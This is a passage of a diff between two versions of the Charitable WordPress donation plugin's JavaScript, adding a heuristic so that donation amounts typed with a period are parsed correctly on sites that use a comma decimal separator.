fa-lock\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-upgrade-form-lite\",closeIcon:true,onOpenBefore:function(){if(isVideoModal){this.$el.addClass(\"has-video\")}var videoHtml=isVideoModal?'\u003Ciframe src=\"'+video+'\" class=\"feature-video\" frameborder=\"0\" allowfullscreen=\"\" width=\"475\" height=\"267\">\u003C\u002Fiframe>':\"\";this.$btnc.after(charitable_builder.upgrade[type].doc.replace(\u002F%25name%25\u002Fg,feature));this.$btnc.after(videoHtml);this.$body.find(\".jconfirm-content\").addClass(\"lite-upgrade\")},buttons:{confirm:{text:button,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){window.open(app.getUpgradeURL(utmContent,type),\"_blank\");app.upgradeModalThankYou(type)}}}});$(window).on(\"resize\",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},getInstallURL:function(utmContent,type,searchKeyword=false){var returnUrl=charitable_builder.charitable_addons_page;if(searchKeyword){returnUrl=returnUrl+\"&search=\"+searchKeyword.replace(\u002F[^0-9a-z+ ]\u002Fgi,\"\").replace(\"Field\",\"\").trim()}return returnUrl},getUpgradeURL:function(utmContent,type){var baseURL=charitable_builder.upgrade[type].url;if(utmContent.toLowerCase().indexOf(\"template\")>-1){baseURL=charitable_builder.upgrade[type].url_template}var appendChar=\u002F(\\?)\u002F.test(baseURL)?\"&\":\"?\";if(baseURL.indexOf(\"https:\u002F\u002Fwpcharitable.com\")===-1){appendChar=encodeURIComponent(appendChar)}return baseURL+appendChar+\"utm_content=\"+encodeURIComponent(utmContent.trim())},upgradeModalThankYou:function(type){$.alert({title:charitable_builder.thanks_for_interest,content:charitable_builder.upgrade[type].modal,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},upgradeModalAddonInstalledAndActivated:function(plugin_url=\"\",plugin_name=\"\",successText=\"\"){$.alert({title:'\u003Cspan class=\"charitable-upgrade-pro-title\">'+plugin_name+\" \"+charitable_builder.installed_activated_title+\"\u003C\u002Fspan>\",content:charitable_builder.installed_activated_reboot,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"esc\"]},saveRefresh:{text:charitable_builder.save_refresh,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(saveRefreshButton){if($(\"#charitable_settings_title\").val().length===0){this.close();app.formSaveCheck();return false}saveRefreshButton.setText(charitable_builder.standby);saveRefreshButton.disable();this.$$confirm.prop(\"disabled\",true);this.$$confirm.hide();app.formSave(false,false,false,true);return false}}}})},upgradeModalAddonActivated:function(plugin_url=\"\",plugin_name=\"\",successText=\"\"){$.alert({title:'\u003Cspan class=\"charitable-upgrade-pro-title\">'+plugin_name+\" \"+charitable_builder.activated_title+\"\u003C\u002Fspan>\",content:charitable_builder.activated_reboot,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"esc\"]},saveRefresh:{text:charitable_builder.save_refresh,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(saveRefreshButton){if($(\"#charitable_settings_title\").val().length===0){this.close();app.formSaveCheck();return false}saveRefreshButton.setText(charitable_builder.standby);saveRefreshButton.disable();this.$$confirm.prop(\"disabled\",true);this.$$confirm.hide();app.formSave(false,false,false,true);return false}}}})},upgradeModalAddonInstalledAndActivatedFailed:function(plugin_url=\"\",plugin_name=\"\",successText=\"\"){$.alert({title:'\u003Cspan class=\"charitable-upgrade-pro-title\">'+plugin_name+\" \"+charitable_builder.installed_activated_failed_title+\"\u003C\u002Fspan>\",content:charitable_builder.installed_activated_failed_reboot,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},upgradeModalAddonActivatedFailed:function(plugin_url=\"\",plugin_name=\"\",successText=\"\"){$.alert({title:'\u003Cspan class=\"charitable-upgrade-pro-title\">'+plugin_name+\" \"+charitable_builder.activated_failed_title+\"\u003C\u002Fspan>\",content:charitable_builder.activated_failed_reboot,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},getUpgradeModalWidth:function(isVideoModal){var windowWidth=$(window).width();if(windowWidth\u003C=300){return\"250px\"}if(windowWidth\u003C=750){return\"350px\"}if(!isVideoModal||windowWidth\u003C=1024){return\"560px\"}return windowWidth>1070?\"1040px\":\"994px\"},isFunction:function(functionToCheck){return functionToCheck&&{}.toString.call(functionToCheck)===\"[object Function]\"}};return app}(document,window,jQuery);CharitableCampaignBuilder.init();\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fcharitable.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fcharitable.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fcharitable.js\t2025-07-07 14:22:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fcharitable.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -587,13 +587,39 @@\n     };\n \n     \u002F**\n-     * Select a donation amount.\n+     * Unformat a currency string to a plain float.\n      *\n-     * @param   int price\n-     * @return  string\n+     * Handles the case where the site uses a non-period decimal separator (e.g. comma)\n+     * but the user types a period as the decimal point — a common mistake on non-US\n+     * keyboards. accounting.unformat() would otherwise strip the period as if it were\n+     * a thousands separator, turning \"5.33\" into 533.\n+     *\n+     * Heuristic: if the configured decimal is not a period, the value contains a period,\n+     * and the value does NOT already contain the configured decimal separator:\n+     *   - One period followed by 1–2 digits at end → treat as decimal (e.g. \"5.33\" → \"5,33\")\n+     *   - One period followed by exactly 3 digits at end → treat as thousands (e.g. \"1.000\" → 1000)\n+     *   - Multiple periods → all thousands separators; let accounting.unformat strip them\n+     *\n+     * @param   string|number price\n+     * @return  float\n      *\u002F\n     Donation_Form.prototype.unformat_amount = function( price ) {\n-        return Math.abs( parseFloat( accounting.unformat( price, CHARITABLE_VARS.currency_format_decimal_sep ) ) );\n+        var decimal = CHARITABLE_VARS.currency_format_decimal_sep;\n+\n+        price = String( price );\n+\n+        if ( decimal !== '.' && price.indexOf( '.' ) !== -1 && price.indexOf( decimal ) === -1 ) {\n+            var periodCount = ( price.match( \u002F\\.\u002Fg ) || [] ).length;\n+\n+            if ( periodCount === 1 && ! \u002F\\.\\d{3}$\u002F.test( price ) ) {\n+                \u002F\u002F Single period not followed by exactly 3 digits — treat as decimal separator.\n+                price = price.replace( '.', decimal );\n+            }\n+            \u002F\u002F Single period followed by 3 digits (thousands) or multiple periods:\n+            \u002F\u002F fall through and let accounting.unformat strip them.\n+        }\n+\n+        return Math.abs( parseFloat( accounting.unformat( price, decimal ) ) );\n     };\n \n     \u002F**\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fcharitable.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fcharitable.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fcharitable.min.js\t2026-02-19 20:09:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fcharitable.min.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -1 +1 @@\n-CHARITABLE=window.CHARITABLE||{};(function(exports,$){var Donation_Form=function(form){this.errors=[];this.pending_processes=[];this.form=form;this.pause_processing=false;this.submit_processing=false;this.total=0;this.prevent_scroll_to_top=false;var self=this;var $body=$(\"body\");var on_click_terms=function(){self.form.find(\".charitable-terms-text\").addClass(\"active\");return false};var on_focus_custom_amount=function(){$(this).closest(\"li\").trigger(\"click\").find(\"input[name=donation_amount]\").prop(\"checked\",true).trigger(\"change\");self.form.off(\"focus\",\"input.custom-donation-input\",on_focus_custom_amount);$(this).focus();self.form.on(\"focus\",\"input.custom-donation-input\",on_focus_custom_amount)};var trigger_amount_change_events=function(){$body.trigger(\"charitable:form:amount:changed\",self);$body.trigger(\"charitable:form:total:changed\",self)};var on_change_custom_donation_amount=function(){var unformatted=self.unformat_amount($(this).val());if($.trim(unformatted)>0){$(this).val(self.format_amount(unformatted))}trigger_amount_change_events()};var on_select_donation_amount=function(){var $li=$(this).closest(\"li\");if($li.hasClass(\"selected\")){return}$li.parents(\".charitable-donation-form\").find(\".donation-amount.selected\").removeClass(\"selected\");$li.addClass(\"selected\").find(\"[name=donation_amount]\").prop(\"checked\",true);if($li.hasClass(\"custom-donation-amount\")){$li.find(\"input.custom-donation-input\").focus()}trigger_amount_change_events()};var on_change_payment_gateway=function(){var selectedGateway=$(this).val();self.hide_inactive_payment_methods();self.show_active_payment_methods(selectedGateway);if(selectedGateway===\"square\"||selectedGateway===\"square_core\"){setTimeout(function(){window.dispatchEvent(new Event(\"resize\"))},100)}};var on_click_change_amount_link=function(){$(this).parent().addClass(\"charitable-hidden\")};var on_submit=function(event){var helper=event.data.helper;if(helper.submit_processing){return false}helper.submit_processing=true;helper.show_processing();if(false===helper.validate()){helper.cancel_processing();return false}if(false!==helper.pause_processing){return false}if(1!==helper.form.data(\"use-ajax\")){return true}maybe_process(helper,function(){$body.trigger(\"charitable:form:process\",helper)});return false};var maybe_process=function(helper,callback){if(!helper.waiting()){if(helper.get_errors().length>0){helper.cancel_processing()}else{callback()}return}setTimeout(maybe_process,500,helper,callback)};var process_donation=function(event,helper){var data=helper.get_data();var form=helper.form;data.action=\"make_donation\";data.form_action=data.charitable_action;delete data.charitable_action;$.ajax({type:\"POST\",data:data,dataType:\"json\",url:CHARITABLE_VARS.ajaxurl,timeout:0,xhrFields:{withCredentials:true},success:function(response){$body.trigger(\"charitable:form:processed\",[response,helper]);if(response.success){maybe_process(helper,function(){window.location.href=response.redirect_to})}else{helper.cancel_processing(response.errors);if(response.donation_id){helper.set_donation_id(response.donation_id)}}}}).fail(function(response,textStatus,errorThrown){if(window.console&&window.console.log){console.log(response)}helper.cancel_processing([CHARITABLE_VARS.error_unknown])});return false};var init=function(){self.form.on(\"click\",\".donation-amount\",on_select_donation_amount);self.form.on(\"focus\",\"input.custom-donation-input\",on_focus_custom_amount);self.form.on(\"click\",\".charitable-terms-link\",on_click_terms);self.form.on(\"blur\",\".custom-donation-input\",on_change_custom_donation_amount);self.form.find(\".donation-amount input:checked\").each(function(){$(this).closest(\"li\").addClass(\"selected\")});if(self.get_all_payment_methods().length){self.hide_inactive_payment_methods();self.form.on(\"change\",\"#charitable-gateway-selector input[name=gateway]\",on_change_payment_gateway)}self.form.on(\"click\",\".change-donation\",on_click_change_amount_link);self.form.on(\"submit\",{helper:self},on_submit);if(false===CHARITABLE.forms_initialized){$body.on(\"charitable:form:process\",process_donation);$body.trigger(\"charitable:form:initialize\",self);CHARITABLE.forms_initialized=true}$body.trigger(\"charitable:form:loaded\",self)};init()};Donation_Form.prototype.get_input=function(field){return this.form.find(\"[name=\"+field+\"]\")};Donation_Form.prototype.get_email=function(){return this.form.find(\"[name=email]\").val()};Donation_Form.prototype.is_recurring_donation=function(){var recurring=this.form.find(\"[name=recurring_donation]:checked, [name=recurring_donation][type=hidden]\");return recurring.length&&\"once\"!==recurring.val()};Donation_Form.prototype.get_suggested_amount=function(){return accounting.unformat(this.form.find(\"[name=donation_amount]:checked, input[type=hidden][name=donation_amount]\").val(),CHARITABLE_VARS.currency_format_decimal_sep)};Donation_Form.prototype.get_custom_amount=function(){var input=this.form.find(\".charitable-donation-options.active input.custom-donation-input,.charitable-donation-options.active input.custom-donation-amount\");if(0===input.length){input=this.form.find(\"input.custom-donation-input\")}return accounting.unformat(input.val(),CHARITABLE_VARS.currency_format_decimal_sep)};Donation_Form.prototype.get_subtotal=function(){return this.get_suggested_amount()||this.get_custom_amount()};Donation_Form.prototype.get_amount=function(){this.total=this.get_subtotal();this.form.trigger(\"charitable:form:get_amount\",this);return this.total};Donation_Form.prototype.add_amount=function(add){this.total+=add};Donation_Form.prototype.remove_amount=function(remove){this.total-=remove};Donation_Form.prototype.get_description=function(){return this.form.find(\"[name=description]\").val()||\"\"};Donation_Form.prototype.get_cc_number=function(){return this.form.find(\"#charitable_field_cc_number input\").val()||\"\"};Donation_Form.prototype.get_cc_cvc=function(){return this.form.find(\"#charitable_field_cc_cvc input\").val()||\"\"};Donation_Form.prototype.get_cc_expiry_month=function(){return this.form.find(\"#charitable_field_cc_expiration select.month\").val()||\"\"};Donation_Form.prototype.get_cc_expiry_year=function(){return this.form.find(\"#charitable_field_cc_expiration select.year\").val()||\"\"};Donation_Form.prototype.clear_cc_fields=function(){this.form.find(\"#charitable_field_cc_number input, #charitable_field_cc_name input, #charitable_field_cc_cvc input, #charitable_field_cc_expiration select\").removeAttr(\"name\")};Donation_Form.prototype.get_payment_method=function(){return this.form.find(\"[type=hidden][name=gateway], [name=gateway]:checked\").val()||\"\"};Donation_Form.prototype.get_all_payment_methods=function(){return this.form.find(\"#charitable-gateway-selector input[name=gateway]\")};Donation_Form.prototype.hide_inactive_payment_methods=function(){var active=this.get_payment_method();var fields=this.form.find(\".charitable-gateway-fields[data-gateway!=\"+active+\"]\");fields.hide();fields.find(\"input[required],select[required],textarea[required]\").attr(\"data-required\",1).attr(\"required\",false)};Donation_Form.prototype.show_active_payment_methods=function(active){var active=active||this.get_payment_method();var fields=this.form.find(\".charitable-gateway-fields[data-gateway=\"+active+\"]\");fields.show();fields.find(\"[data-required]\").attr(\"required\",true)};Donation_Form.prototype.format_amount=function(price,symbol){if(typeof symbol===\"undefined\")symbol=\"\";return accounting.formatMoney(price,{symbol:symbol,decimal:CHARITABLE_VARS.currency_format_decimal_sep,thousand:CHARITABLE_VARS.currency_format_thousand_sep,precision:CHARITABLE_VARS.currency_format_num_decimals,format:CHARITABLE_VARS.currency_format}).trim()};Donation_Form.prototype.unformat_amount=function(price){return Math.abs(parseFloat(accounting.unformat(price,CHARITABLE_VARS.currency_format_decimal_sep)))};Donation_Form.prototype.add_error=function(message){this.errors.push(message)};Donation_Form.prototype.get_errors=function(){return this.errors};Donation_Form.prototype.get_error_message=function(){return this.errors.join(\" \")};Donation_Form.prototype.print_errors=function(errors){var e=errors||this.errors,i=0,count=e.length,output=\"\",error_notice_donation_display=typeof CHARITABLE_VARS.error_notice_donation_display===\"undefined\"?\"top\":CHARITABLE_VARS.error_notice_donation_display;if(0===count){return}if(this.form.find(\".charitable-form-errors\").length){this.form.find(\".charitable-form-errors\").remove()}output+='\u003Cdiv class=\"charitable-form-errors charitable-notice\">\u003Cul class=\"errors\">\u003Cli>';output+=e.join(\"\u003C\u002Fli>\u003Cli>\");output+=\"\u003C\u002Fli>\u003C\u002Ful>\u003C\u002Fdiv>\";if(error_notice_donation_display===\"bottom\"){this.form.append(output)}else{this.form.prepend(output)}};Donation_Form.prototype.clear_errors=function(){this.errors=[];if(this.form.find(\".charitable-form-errors\").length){this.form.find(\".charitable-form-errors\").remove()}};Donation_Form.prototype.waiting=function(){return this.pending_processes.length>0};Donation_Form.prototype.add_pending_process=function(process){var index=this.pending_processes.indexOf(process);return-1===index?this.pending_processes.push(process)-1:index};Donation_Form.prototype.remove_pending_process=function(index){this.pending_processes.splice(index,1)};Donation_Form.prototype.remove_pending_process_by_name=function(process){var index=this.pending_processes.indexOf(process);return-1!==index&&this.remove_pending_process(index)};Donation_Form.prototype.show_processing=function(){this.form.find(\".charitable-form-processing\").show();this.form.find('button[name=\"donate\"]').hide()};Donation_Form.prototype.hide_processing=function(){this.form.find(\".charitable-form-processing\").hide();this.form.find('button[name=\"donate\"]').show();this.submit_processing=false;this.pause_processing=false};Donation_Form.prototype.scroll_to_top=function(){if(this.prevent_scroll_to_top){this.prevent_scroll_to_top=false;return}var $modal=this.form.parents(\".charitable-modal\");if($modal.length){$modal.scrollTop(0)}else{window.scrollTo(this.form.offset().left,this.form.offset().top)}};Donation_Form.prototype.cancel_processing=function(errors){this.hide_processing();this.print_errors(errors);var error_notice_donation_display=typeof CHARITABLE_VARS.error_notice_donation_display===\"undefined\"?\"top\":CHARITABLE_VARS.error_notice_donation_display;if(\"\"===error_notice_donation_display||\"top\"===error_notice_donation_display){this.scroll_to_top()}this.form.trigger(\"charitable:form:cancelled\",this)};Donation_Form.prototype.set_donation_id=function(donation_id){this.form.find(\"[name=ID]\").val(donation_id)};Donation_Form.prototype.get_data=function(){return this.form.serializeArray().reduce(function(obj,item){if(\"[]\"===item.name.slice(-2)){var name=item.name.slice(0,-2);if(!obj.hasOwnProperty(name)){obj[name]=[]}obj[name].push(item.value)}else{obj[item.name]=item.value}return obj},{})};Donation_Form.prototype.get_required_fields=function(){var fields=this.form.find(\".charitable-fieldset .required-field\").not(\"#charitable-gateway-fields .required-field\"),method=this.get_payment_method();if(\"\"!==method){var gateway_fields=this.form.find(\"[data-gateway=\"+method+\"] .required-field\");if(gateway_fields.length){fields=$.merge(fields,gateway_fields)}}return fields};Donation_Form.prototype.subtotal_exceeds_maximum=function(){return\"\"!==CHARITABLE_VARS.maximum_donation&&this.get_subtotal()>parseFloat(CHARITABLE_VARS.maximum_donation)};Donation_Form.prototype.is_valid_amount=function(){var minimum=parseFloat(CHARITABLE_VARS.minimum_donation);if(this.subtotal_exceeds_maximum()){return false}return minimum>0||CHARITABLE_VARS.permit_0_donation?this.get_subtotal()>=minimum:this.get_subtotal()>minimum};Donation_Form.prototype.validate_amount=function(){if(false===this.is_valid_amount()){if(this.get_subtotal()>0&&this.subtotal_exceeds_maximum()){this.add_error(CHARITABLE_VARS.error_max_exceeded)}else{this.add_error(CHARITABLE_VARS.error_invalid_amount)}return false}return true};Donation_Form.prototype.validate_required_fields=function(){var has_all_required_fields=true;this.get_required_fields().each(function(){if(\"\"===$(this).find(\"input, select, textarea\").val()){has_all_required_fields=false}});if(!has_all_required_fields){this.add_error(CHARITABLE_VARS.error_required_fields)}return has_all_required_fields};Donation_Form.prototype.validate=function(){this.clear_errors();this.validate_amount();this.validate_required_fields();this.form.trigger(\"charitable:form:validate\",this);return this.errors.length===0};exports.Donation_Form=Donation_Form})(CHARITABLE,jQuery);(function(exports,$){var Toggle=function(){var hide_target=function(){get_target($(this)).addClass(\"charitable-hidden\")};var get_target=function($el){var target=$el.data(\"charitable-toggle\");if(target[0]!==\".\"&&target[0]!==\"#\"){target=\"#\"+target}return $(target)};var on_toggle=function(){var $this=$(this),$target=get_target($this);$target.toggleClass(\"charitable-hidden\",function(){if($this.is(\":checkbox\")){return!$this.is(\":checked\")}return false===$target.hasClass(\"charitable-hidden\")}());return false};var init=function(){$(\"[data-charitable-toggle]\").each(hide_target)};$(\"body\").on(\"click\",\"[data-charitable-toggle]\",on_toggle);if(exports.content_loading){var timer=setInterval(function(){if(false===exports.content_loading){init();clearInterval(timer)}},500)}return init};exports.Toggle=Toggle()})(CHARITABLE,jQuery);CHARITABLE.VersionCompare=function(version,compare){compare=compare||CHARITABLE_VARS.version;if(typeof version+typeof compare!=\"stringstring\")return false;var a=version.split(\".\"),b=compare.split(\".\"),i=0,len=Math.max(a.length,b.length);for(;i\u003Clen;i++){if(a[i]&&!b[i]&&parseInt(a[i])>0||parseInt(a[i])>parseInt(b[i])){return 1}else if(b[i]&&!a[i]&&parseInt(b[i])>0||parseInt(a[i])\u003CparseInt(b[i])){return-1}}return 0};(function(exports,$){CHARITABLE.ResetSuggestedDonations=function(){if($(\".charitable-donation-options\").length=0){return false}$('ul.donation-amounts input[type=\"radio\"]').each(function(){if($(this).is(\":checked\")){$(this).closest(\"li\").addClass(\"selected\")}else{$(this).closest(\"li\").removeClass(\"selected\")}})}})(CHARITABLE,jQuery);(function($){CHARITABLE.forms_initialized=false;$(document).ready(function(){$(\"html\").addClass(\"js\");var forms=[];$(\".charitable-donation-form\").each(function(){forms.push(new CHARITABLE.Donation_Form($(this)))});CHARITABLE.Toggle();CHARITABLE.ResetSuggestedDonations()})})(jQuery);\n\\ No newline at end of file\n+CHARITABLE=window.CHARITABLE||{};(function(exports,$){var Donation_Form=function(form){this.errors=[];this.pending_processes=[];this.form=form;this.pause_processing=false;this.submit_processing=false;this.total=0;this.prevent_scroll_to_top=false;var self=this;var $body=$(\"body\");var on_click_terms=function(){self.form.find(\".charitable-terms-text\").addClass(\"active\");return false};var on_focus_custom_amount=function(){$(this).closest(\"li\").trigger(\"click\").find(\"input[name=donation_amount]\").prop(\"checked\",true).trigger(\"change\");self.form.off(\"focus\",\"input.custom-donation-input\",on_focus_custom_amount);$(this).focus();self.form.on(\"focus\",\"input.custom-donation-input\",on_focus_custom_amount)};var trigger_amount_change_events=function(){$body.trigger(\"charitable:form:amount:changed\",self);$body.trigger(\"charitable:form:total:changed\",self)};var on_change_custom_donation_amount=function(){var unformatted=self.unformat_amount($(this).val());if($.trim(unformatted)>0){$(this).val(self.format_amount(unformatted))}trigger_amount_change_events()};var on_select_donation_amount=function(){var $li=$(this).closest(\"li\");if($li.hasClass(\"selected\")){return}$li.parents(\".charitable-donation-form\").find(\".donation-amount.selected\").removeClass(\"selected\");$li.addClass(\"selected\").find(\"[name=donation_amount]\").prop(\"checked\",true);if($li.hasClass(\"custom-donation-amount\")){$li.find(\"input.custom-donation-input\").focus()}trigger_amount_change_events()};var on_change_payment_gateway=function(){var selectedGateway=$(this).val();self.hide_inactive_payment_methods();self.show_active_payment_methods(selectedGateway);if(selectedGateway===\"square\"||selectedGateway===\"square_core\"){setTimeout(function(){window.dispatchEvent(new Event(\"resize\"))},100)}};var on_click_change_amount_link=function(){$(this).parent().addClass(\"charitable-hidden\")};var on_submit=function(event){var helper=event.data.helper;if(helper.submit_processing){return false}helper.submit_processing=true;helper.show_processing();if(false===helper.validate()){helper.cancel_processing();return false}if(false!==helper.pause_processing){return false}if(1!==helper.form.data(\"use-ajax\")){return true}maybe_process(helper,function(){$body.trigger(\"charitable:form:process\",helper)});return false};var maybe_process=function(helper,callback){if(!helper.waiting()){if(helper.get_errors().length>0){helper.cancel_processing()}else{callback()}return}setTimeout(maybe_process,500,helper,callback)};var process_donation=function(event,helper){var data=helper.get_data();var form=helper.form;data.action=\"make_donation\";data.form_action=data.charitable_action;delete data.charitable_action;$.ajax({type:\"POST\",data:data,dataType:\"json\",url:CHARITABLE_VARS.ajaxurl,timeout:0,xhrFields:{withCredentials:true},success:function(response){$body.trigger(\"charitable:form:processed\",[response,helper]);if(response.success){maybe_process(helper,function(){window.location.href=response.redirect_to})}else{helper.cancel_processing(response.errors);if(response.donation_id){helper.set_donation_id(response.donation_id)}}}}).fail(function(response,textStatus,errorThrown){if(window.console&&window.console.log){console.log(response)}helper.cancel_processing([CHARITABLE_VARS.error_unknown])});return false};var init=function(){self.form.on(\"click\",\".donation-amount\",on_select_donation_amount);self.form.on(\"focus\",\"input.custom-donation-input\",on_focus_custom_amount);self.form.on(\"click\",\".charitable-terms-link\",on_click_terms);self.form.on(\"blur\",\".custom-donation-input\",on_change_custom_donation_amount);self.form.find(\".donation-amount input:checked\").each(function(){$(this).closest(\"li\").addClass(\"selected\")});if(self.get_all_payment_methods().length){self.hide_inactive_payment_methods();self.form.on(\"change\",\"#charitable-gateway-selector input[name=gateway]\",on_change_payment_gateway)}self.form.on(\"click\",\".change-donation\",on_click_change_amount_link);self.form.on(\"submit\",{helper:self},on_submit);if(false===CHARITABLE.forms_initialized){$body.on(\"charitable:form:process\",process_donation);$body.trigger(\"charitable:form:initialize\",self);CHARITABLE.forms_initialized=true}$body.trigger(\"charitable:form:loaded\",self)};init()};Donation_Form.prototype.get_input=function(field){return this.form.find(\"[name=\"+field+\"]\")};Donation_Form.prototype.get_email=function(){return this.form.find(\"[name=email]\").val()};Donation_Form.prototype.is_recurring_donation=function(){var recurring=this.form.find(\"[name=recurring_donation]:checked, [name=recurring_donation][type=hidden]\");return recurring.length&&\"once\"!==recurring.val()};Donation_Form.prototype.get_suggested_amount=function(){return accounting.unformat(this.form.find(\"[name=donation_amount]:checked, input[type=hidden][name=donation_amount]\").val(),CHARITABLE_VARS.currency_format_decimal_sep)};Donation_Form.prototype.get_custom_amount=function(){var input=this.form.find(\".charitable-donation-options.active input.custom-donation-input,.charitable-donation-options.active input.custom-donation-amount\");if(0===input.length){input=this.form.find(\"input.custom-donation-input\")}return accounting.unformat(input.val(),CHARITABLE_VARS.currency_format_decimal_sep)};Donation_Form.prototype.get_subtotal=function(){return this.get_suggested_amount()||this.get_custom_amount()};Donation_Form.prototype.get_amount=function(){this.total=this.get_subtotal();this.form.trigger(\"charitable:form:get_amount\",this);return this.total};Donation_Form.prototype.add_amount=function(add){this.total+=add};Donation_Form.prototype.remove_amount=function(remove){this.total-=remove};Donation_Form.prototype.get_description=function(){return this.form.find(\"[name=description]\").val()||\"\"};Donation_Form.prototype.get_cc_number=function(){return this.form.find(\"#charitable_field_cc_number input\").val()||\"\"};Donation_Form.prototype.get_cc_cvc=function(){return this.form.find(\"#charitable_field_cc_cvc input\").val()||\"\"};Donation_Form.prototype.get_cc_expiry_month=function(){return this.form.find(\"#charitable_field_cc_expiration select.month\").val()||\"\"};Donation_Form.prototype.get_cc_expiry_year=function(){return this.form.find(\"#charitable_field_cc_expiration select.year\").val()||\"\"};Donation_Form.prototype.clear_cc_fields=function(){this.form.find(\"#charitable_field_cc_number input, #charitable_field_cc_name input, #charitable_field_cc_cvc input, #charitable_field_cc_expiration select\").removeAttr(\"name\")};Donation_Form.prototype.get_payment_method=function(){return this.form.find(\"[type=hidden][name=gateway], [name=gateway]:checked\").val()||\"\"};Donation_Form.prototype.get_all_payment_methods=function(){return this.form.find(\"#charitable-gateway-selector input[name=gateway]\")};Donation_Form.prototype.hide_inactive_payment_methods=function(){var active=this.get_payment_method();var fields=this.form.find(\".charitable-gateway-fields[data-gateway!=\"+active+\"]\");fields.hide();fields.find(\"input[required],select[required],textarea[required]\").attr(\"data-required\",1).attr(\"required\",false)};Donation_Form.prototype.show_active_payment_methods=function(active){var active=active||this.get_payment_method();var fields=this.form.find(\".charitable-gateway-fields[data-gateway=\"+active+\"]\");fields.show();fields.find(\"[data-required]\").attr(\"required\",true)};Donation_Form.prototype.format_amount=function(price,symbol){if(typeof symbol===\"undefined\")symbol=\"\";return accounting.formatMoney(price,{symbol:symbol,decimal:CHARITABLE_VARS.currency_format_decimal_sep,thousand:CHARITABLE_VARS.currency_format_thousand_sep,precision:CHARITABLE_VARS.currency_format_num_decimals,format:CHARITABLE_VARS.currency_format}).trim()};Donation_Form.prototype.unformat_amount=function(price){var decimal=CHARITABLE_VARS.currency_format_decimal_sep;price=String(price);if(decimal!==\".\"&&price.indexOf(\".\")!==-1&&price.indexOf(decimal)===-1){var periodCount=(price.match(\u002F\\.\u002Fg)||[]).length;if(periodCount===1&&!\u002F\\.\\d{3}$\u002F.test(price)){price=price.replace(\".\",decimal)}}return Math.abs(parseFloat(accounting.unformat(price,decimal)))};Donation_Form.prototype.add_error=function(message){this.errors.push(message)};Donation_Form.prototype.get_errors=function(){return this.errors};Donation_Form.prototype.get_error_message=function(){return this.errors.join(\" \")};Donation_Form.prototype.print_errors=function(errors){var e=errors||this.errors,i=0,count=e.length,output=\"\",error_notice_donation_display=typeof CHARITABLE_VARS.error_notice_donation_display===\"undefined\"?\"top\":CHARITABLE_VARS.error_notice_donation_display;if(0===count){return}if(this.form.find(\".charitable-form-errors\").length){this.form.find(\".charitable-form-errors\").remove()}output+='\u003Cdiv class=\"charitable-form-errors charitable-notice\">\u003Cul class=\"errors\">\u003Cli>';output+=e.join(\"\u003C\u002Fli>\u003Cli>\");output+=\"\u003C\u002Fli>\u003C\u002Ful>\u003C\u002Fdiv>\";if(error_notice_donation_display===\"bottom\"){this.form.append(output)}else{this.form.prepend(output)}};Donation_Form.prototype.clear_errors=function(){this.errors=[];if(this.form.find(\".charitable-form-errors\").length){this.form.find(\".charitable-form-errors\").remove()}};Donation_Form.prototype.waiting=function(){return this.pending_processes.length>0};Donation_Form.prototype.add_pending_process=function(process){var index=this.pending_processes.indexOf(process);return-1===index?this.pending_processes.push(process)-1:index};Donation_Form.prototype.remove_pending_process=function(index){this.pending_processes.splice(index,1)};Donation_Form.prototype.remove_pending_process_by_name=function(process){var index=this.pending_processes.indexOf(process);return-1!==index&&this.remove_pending_process(index)};Donation_Form.prototype.show_processing=function(){this.form.find(\".charitable-form-processing\").show();this.form.find('button[name=\"donate\"]').hide()};Donation_Form.prototype.hide_processing=function(){this.form.find(\".charitable-form-processing\").hide();this.form.find('button[name=\"donate\"]').show();this.submit_processing=false;this.pause_processing=false};Donation_Form.prototype.scroll_to_top=function(){if(this.prevent_scroll_to_top){this.prevent_scroll_to_top=false;return}var 